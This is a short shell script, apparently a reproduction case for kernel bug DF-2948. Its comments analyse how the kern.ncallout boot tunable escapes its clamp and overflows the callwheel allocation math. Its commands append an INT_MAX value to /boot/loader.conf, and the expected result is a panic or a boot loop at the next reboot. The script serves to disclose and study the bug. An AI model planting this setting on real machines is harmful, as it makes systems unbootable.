DF-2948 / plant.sh
#!/bin/sh # DF-2948 trigger — plant the unclamped kern.ncallout boot tunable. # # sys/kern/subr_param.c:327-330: # ncallout = 16 + maxproc + maxfiles; # if (ncallout > 5*60*hz) # ncallout = 5*60*hz; # TUNABLE_INT_FETCH("kern.ncallout", &ncallout); <-- fetched AFTER the # only clamp; no # bounds at all # # Consumer sys/kern/kern_timeout.c:374-413 (swi_softclock_setup): # int target = ncallout / ncpus + 16; <-- int arithmetic # cwheelsize = 1; # while (cwheelsize < target) cwheelsize <<= 1; <-- signed shift can # overflow on <=4-cpu # boxes (1<<31) # int wheel_sz = sizeof(*sc->callwheel) * cwheelsize; <-- 24 * 2^30 = # 25769803776, truncated to int 0 (mod 2^32) # sc->callwheel = kmem_alloc3(kernel_map, wheel_sz /* 0 */, ...); # memset(sc->callwheel, 0, wheel_sz); # for (i = 0; i < cwheelsize; ++i) <-- 2^30 iterations of # spin_init/TAILQ_INIT on the 0-byte allocation OOB init writes # # sizeof(struct wheel) = spinlock(8) + TAILQ_HEAD(16) = 24 on x86_64. # # On this 6-vCPU guest, kern.ncallout=2147483647 (INT_MAX) gives # target = INT_MAX/6+16 = 357913966, cwheelsize = 2^30, wheel_sz = 0: # the 6 per-CPU kmem_alloc3(kernel_map, 0) calls collide and the kernel # panics with 'vm_map_entry_link: dup addr' before the init loop can stomp # ~25 GB of kernel VA (the latent outcome on boxes where the zero-size # allocation path differs). On 1-2 vCPU boxes the doubling loop itself # overflows 1<<31 -> negative -> 0 -> infinite boot loop. # # Distinct from DF-0174 (ncallout overflow *via unbounded kern.maxfiles*): # the direct kern.ncallout tunable bypasses every clamp because the fetch # happens after them; clamping maxfiles alone cannot fix this path, and the # sink here is the cwheelsize/wheel_sz int math in kern_timeout.c. # # Trust boundary: /boot/loader.conf (root/loader prompt) — boot-time DoS. # # SETUP (in guest, as root): cp /boot/loader.conf /boot/loader.conf.df2948bak printf 'kern.ncallout="2147483647"\n' >> /boot/loader.conf sync # RUN (in guest, as root): # shutdown -r now # # EXPECTED: boot dies right after "Initialize MI interrupts for 6 cpus": # panic: vm_map_entry_link: dup addr map 0x... ent 0x... # Trace beginning at frame ... # Debugger("panic") # db> |